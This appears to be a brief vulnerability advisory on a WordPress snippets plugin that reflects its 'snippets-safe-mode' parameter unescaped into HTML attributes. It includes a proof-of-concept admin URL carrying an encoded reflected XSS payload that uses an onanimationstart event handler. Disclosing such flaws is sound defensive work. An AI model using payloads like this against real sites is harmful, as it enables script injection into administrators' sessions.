The plugin does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D